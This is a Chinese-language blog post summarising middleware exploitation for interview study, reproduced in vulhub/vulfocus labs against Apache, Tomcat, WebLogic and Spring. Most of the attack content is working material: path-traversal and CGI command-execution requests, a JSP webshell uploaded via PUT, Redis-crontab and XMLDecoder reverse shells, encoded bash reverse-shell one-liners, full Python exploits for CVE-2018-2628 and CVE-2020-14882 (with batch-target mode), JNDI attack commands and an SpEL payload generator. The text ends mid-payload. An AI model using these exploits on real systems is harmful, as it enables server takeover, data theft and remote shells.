当前位置: 首页 > 技术干货 > 中间件漏洞攻防学习总结

中间件漏洞攻防学习总结

发表于:2024-04-08 16:50 作者: The Ju1y 阅读数(1752人)

前言

面试常问的一些中间件,学习总结一下。以下环境分别使用vulhub和vulfocus复现。

Apache

apache 文件上传 (CVE-2017-15715)

描述: Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略

image.pngimage.pngimage.pngimage.png说明是黑名单绕过使用编码器,在php后面加0aimage.png这里加a是方便修改0aimage.pngimage.png

apache httpd解析漏洞

image.pngimage.pngimage.png查看配置文件grep -rn "x-httpd-php"image.png改漏洞存在的主要原因是这个配置文件的原因

Apache SSI 远程命令执行漏洞

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。image.pngimage.png有限制,影响版本是apache全版本,支持SSI与CGI默认的扩展名是.stm、.shtm 和 .shtmlimage.png

image.png

CVE-2021-41773 目录穿越

Apache HTTP Server2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。image.png符合版本payload image.pngcurl -v --path-as-is http://192.168.48.144:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

CVE-2021-42013 RCE&目录遍历&文件解析

apache HTTP Server2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache2.4.49 和 Apache2.4.50,而不影响更早版本image.pngPOST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1Host: 192.168.48.144:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9If-None-Match: "2d-432a5e4a73a80"If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMTConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 7

echo;idimage.png

Tomcat

CVE-2017-12615 文件上传

当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限image.png这里存在PUT任意文件上传漏洞但是值得一提的是这里有个细节,org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。也就是我们想要上传JSP文件的话,需要进行绕过,这里其实相当于黑名单逻辑,那么我可以通过windows特性对其进行绕过。 image.pngimage.png加/绕过PUT /2.jsp/ HTTP/1.1Host: 192.168.48.144:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 300

<%if("666".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>

image.png/绕过%20绕过xxx.jsp::$DATA绕过image.png冰蝎马连接image.pngimage.png

CVE-2020-1938 文件包含

ApacheTomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。漏洞影响的产品版本包括:Tomcat6.*Tomcat7.<7.0.100Tomcat8.<8.5.51Tomcat9.*<9.0.31使用这个脚本CNVD-2020-10487-Tomcat-Ajp-lfi.pyhttps://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfiimage.pngimage.pngpython2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 47297 -f WEB-INF/web.xml这里47297是8009的映射端口

tomcat弱口令getshell

image.png这里弱口令地点在这个manager这里image.pngimage.png尝试tomcat/tomcatimage.pngimage.png使用哥斯拉生成jsp马,然后压缩zip,修改文件名warimage.png在这里上传image.png这里多个目录,地址请求/1/1.jspwebshell连接image.png

weblogic

Weblogic是Oracle公司推出的J2EE应用服务器。探针默认端口:7001推荐工具https://github.com/KimJun1010/WeblogicTool/

weblogic ssrf(CVE-2014-4210)

weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。影响版本Oracle WebLogic Server 10.3.6.0Oracle WebLogic Server 10.0.2.0http://192.168.48.144:7001/uddiexplorer/ 未授权访问image.pngssrf payload/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001如下是存在的image.png否则则回显image.png这个漏洞环境开两个docker,目的是利用这个ssrf探测到这个redis服务,进而继续进行SSRF打redis这里是直接进去docker看ip地址了,实战中可以尝试直接爆破weblogic可以利用%0a%0d注入换行符,而redis服务是通过换行符来分割每条命令,也就是我们可以通过该SSRF攻击内网中的redis服务器。172.19.0.2image.pngimage.png一个是回显存在的,一个是回显不存在的构造payload,这里利用redis计划任务进行反弹shell,这里值得注意的是,因为环境是centos,所以这里才可以利用redis计划任务攻击,如果是ubuntu的话会不识别其中的部分命令,导致不会执行成功。set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.48.144/6655 0>&1'\n\n\n\n"config set dir /etc/config set dbfilename crontabsave进行url编码image.png

weblogic 反序列化(CVE-2017-10271)

描述: Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。image.pngimage.png该漏洞的原因主要是XMLDecoder解析用户的XML的数据,在解析的过程中出现反序列化漏洞,我们可以通过构造XML数据通过反弹shell拿到权限。利用该工具可以直接命令执行image.png手工复现访问该地址/wls-wsat/CoordinatorPortTypePOST发包,记得修改Content-Type text/xml下面的string的是文本内容image.png访问wls-wsat/test.txtimage.png构造反弹shell:::info<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> soapenv:Header<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/ip/6664 0>&1</string></void></array><void method="start"/></void></java>/work:WorkContext/soapenv:Headersoapenv:Body//soapenv:Envelope:::

weblogic 反序列化(CVE-2018-2628)

该漏洞通过T3协议触发,可导致远程命令执行漏洞影响版本

  • Weblogic 10.3.6.0

  • Weblogic 12.1.3.0

  • Weblogic 12.2.1.2

  • Weblogic 12.2.1.3

什么是T3协议?T用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度http://192.168.48.144:7001/ 访问7001端口,也是这个页面,类似springboot,可以用这个作为weblogic的特征image.pngimage.png

bash -i >& /dev/tcp/192.168.48.144/6677 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=}|{base64,-d}|{bash,-i}'image.pngimage.pngimage.pngCVE-2018-2628 EXP

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
  #generates ysoserial payload
  command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
  print("command: " + command)
  os.system(command)
  bin_file = open('payload.out','rb').read()
  return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
  sock.connect(server_addr)
  sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
  time.sleep(1)
  sock.recv(1024)
  print('handshake successful')


def build_t3_request_object(sock, port):
  data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
  data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
  data3 = '1a7727000d3234322e323134'
  data4 = '2e312e32353461863d1d0000000078'
  for d in [data1,data2,data3,data4]:
      sock.send(d.decode('hex'))
  time.sleep(2)
  print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
  payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
  payload+=data
  payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
  payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
  sock.send(payload.decode('hex'))
  time.sleep(2)
  sock.send(payload.decode('hex'))
  res = ''
  try:
      while True:
          res += sock.recv(4096)
          time.sleep(0.1)
  except Exception:
      pass
  return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.settimeout(65)
  server_addr = (dip, dport)
  t3_handshake(sock, server_addr)
  build_t3_request_object(sock, dport)
  payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
  print("payload: " + payload)
  rs=send_payload_objdata(sock, payload)
  print('response: ' + rs)
  print('exploit completed!')


if __name__=="__main__":
  #check for args, print usage if incorrect
  if len(sys.argv) != 7:
      print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
            '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
      sys.exit()

  dip = sys.argv[1]
  dport = int(sys.argv[2])
  path_ysoserial = sys.argv[3]
  jrmp_listener_ip = sys.argv[4]
  jrmp_listener_port = sys.argv[5]
  jrmp_client = sys.argv[6]
  exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
weblogic 未授权RCE(CVE-2020-14882)

漏洞影响版本Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0payload 未授权访问后台http://192.168.48.144:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=true&pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29未授权RCE利用脚本https://github.com/GGyao/CVE-2020-14882_ALL/blob/master/CVE-2020-14882_ALL.py:::info#coding:utf-8import requestsimport sysimport argparseimport http.client

http.client.HTTPConnection.http_vsn = 10http.client.HTTPConnection.http_vsn_str = 'HTTP/1.0'

requests.packages.urllib3.disable_warnings()

#功能1方法:回显命令执行。def command(url_cmd,headers_cmd,url): try: res = requests.get(url_cmd, headers = headers_cmd,timeout = 15, verify = False) if "<html" not in res.text and "<TITLE" not in res.text : print ("[+] Command success result:") print (res.text)

    else:
print ("[-] " + url + " not vulnerable or command error!")
except Exception as e:
#print (e)
print ("[-] " + url + " not vulnerable or command error!")

#功能2方法:无回显,命令执行,适用于Weblogic 10.x、12.x。def weblogic_12(url_cmd,post_12,headers_12): try: res = requests.post(url_cmd, data = post_12, headers = headers_12,timeout = 15, verify = False) #print ("[+] Attack complete!") except Exception as e: print ("[+] Attack complete!")

def main(): banner = """ ___ ___ _ _ _ _ __ _ _ _ _ _ / __\ \ / / | |__ \ / _ _ \ / _ \ /_ | || | / _ \ / _ __ \ | | \ \ / /| |_ __ ) | | | | ) | | | |__| | || || () | () | ) || | \ \/ / | |_/ /| | | |/ /| | | |_| | _> _ < > _ < / / | | \ / | | / /| || / /| || | | | | || () | () / / _| \/ |__| ||_/_|___/ || |_| _/ _/|

                                                     Author:GGyao
                                                    Github:[https://github.com/GGyao](https://github.com/GGyao)

"""

print (banner)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。")
parser.add_argument("-f", "--file", help="Target File; Example:target.txt。")
parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
parser.add_argument("-x", "--xml", help="Remote XML file; Example:[http://vpsip/poc.xml;](http://vpsip/poc.xml;) ")
args = parser.parse_args()

#功能1:命令回显。
if args.url != None and args.cmd != None:
url = args.url
url_cmd = args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
headers_cmd = {
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd':args.cmd,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}

#post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""

​ #command(url_cmd,post_cmd,headers_cmd,url)​ command(url_cmd,headers_cmd,url)​

#功能2:weblogic 12.x命令执行。
if args.url != None and args.xml != None:
url_cmd = args.url + '/console/images/%252e%252e/console.portal'
headers_12 = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}

post_12 = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml)

weblogic_12(url_cmd,post_12,headers_12)

# 功能3:回显命令执行批量。
if args.file != None and args.cmd != None:
#print (1)
for File in open(args.file):
File = File.strip()
url_cmd = File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
print ("[*] >>> Test:" + File)

url = File
headers_cmd = {
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd':args.cmd,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
        #post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""
command(url_cmd,headers_cmd,url)

if name=="main": main():::python3 CVE-2020-14882.py -u http://192.168.48.144:7001 -c "whoami"image.png

weblogic RCE (CVE-2023-21839)

漏洞介绍CVE-2023-21839是Weblogic产品中的远程代码执行漏洞,由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功可能会导致Oracle Weblogic服务器被控制,远程注入操作系统命令或代码。java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.48.144image.png使用工具进行攻击下载地址https://github.com/DXask88MA/Weblogic-CVE-2023-21839java -jar Weblogic-CVE-2023-21839.jar 192.168.48.144:7001 ldap://192.168.48.144:1389/Basic/ReverseShell/192.168.48.144/6666image.pngimage.png反弹shell成功

weblogic weak_password

该漏洞复现过程为通过任意文件读取其密文和加密的密钥文件进行破解,然后用得到的密码进行登陆,利用后台文件上传进行getshell复现过程任意文件读取payload hello/file.jsp?path=SerializedSystemIni.dat 二进制文件是密钥config.xml 是密文weblogic密码使用AES加密,老版本使用的是DES。需要找到密钥即可对密文进行解密这里利用任意文件读取漏洞对密钥和密文进行读取/hello/file.jsp?path=security/SerializedSystemIni.datimage.png这里复制到文件/hello/file.jsp?path=config/config.xmlimage.pngyvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=利用工具进行解密https://github.com/TideSec/Decrypt_Weblogic_Passwordimage.pngOracle@123

浅浅总结下,weblogic特征404页面。/console可访问登陆,进后台管理可以通过war包上传getshell,有xmldecode反序列化和T3协议反序列化,存在SSRF漏洞打内网漏洞

spring

spring框架Spring是一个轻量级Java开发框架,最早有Rod Johnson创建,目的是为了解决企业级应用开发的业务逻辑层和其他各层的耦合问题。它是一个分层的JavaSE/JavaEE full-stack(一站式)轻量级开源框架,为开发Java应用程序提供全面的基础架构支持。Spring负责基础架构,因此Java开发者可以专注于应用程序的开发。springboot框架介绍SpringBoot是一个快速开发的框架,能过快速整合第三方框架,他是如何快速整合的呢?其实他是的基本原来是Maven依赖关系,Maven的集成,完全采用注解化,简化XML配置,内嵌HTTP服务器(Tomcate,jetty),默认嵌入Tomcat,最终以Java应用程序进行执行。SpringBoot与SpringCloud 的区别?SpringCloud一套目前完整的微服务解决框架,功能非常强大,注册中心,客户端调用工具,服务治理(负载均衡,断路器,分布式配置中心,网管,消息总线等

敏感信息泄露漏洞

这里直接上工具扫就行https://github.com/AabyssZG/SpringBoot-Scan工具使用 python3 SpringBoot-Scan.py -u "http://192.168.48.133:8080/" 信息泄露 python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/" 漏洞利用image.png

Spring-security-oauth(CVE-2016-4977)

影响版本Spring Security OAuth 2.3到2.3.2Spring Security OAuth 2.2到2.2.1Spring Security OAuth 2.1到2.1.1Spring Security OAuth 2.0到2.0.14payloadadminadminhttp://192.168.48.133:8080/oauth/authorize?response_type=${3*3}&client_id=acme&scope=openid&redirect_uri=http://testimage.pngresponse_type参数值会被当做Spring SpEL来执行反弹shellbash -i >& /dev/tcp/your-ip/port 0>&1base64反弹shellbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}payload生成脚本

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
  poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T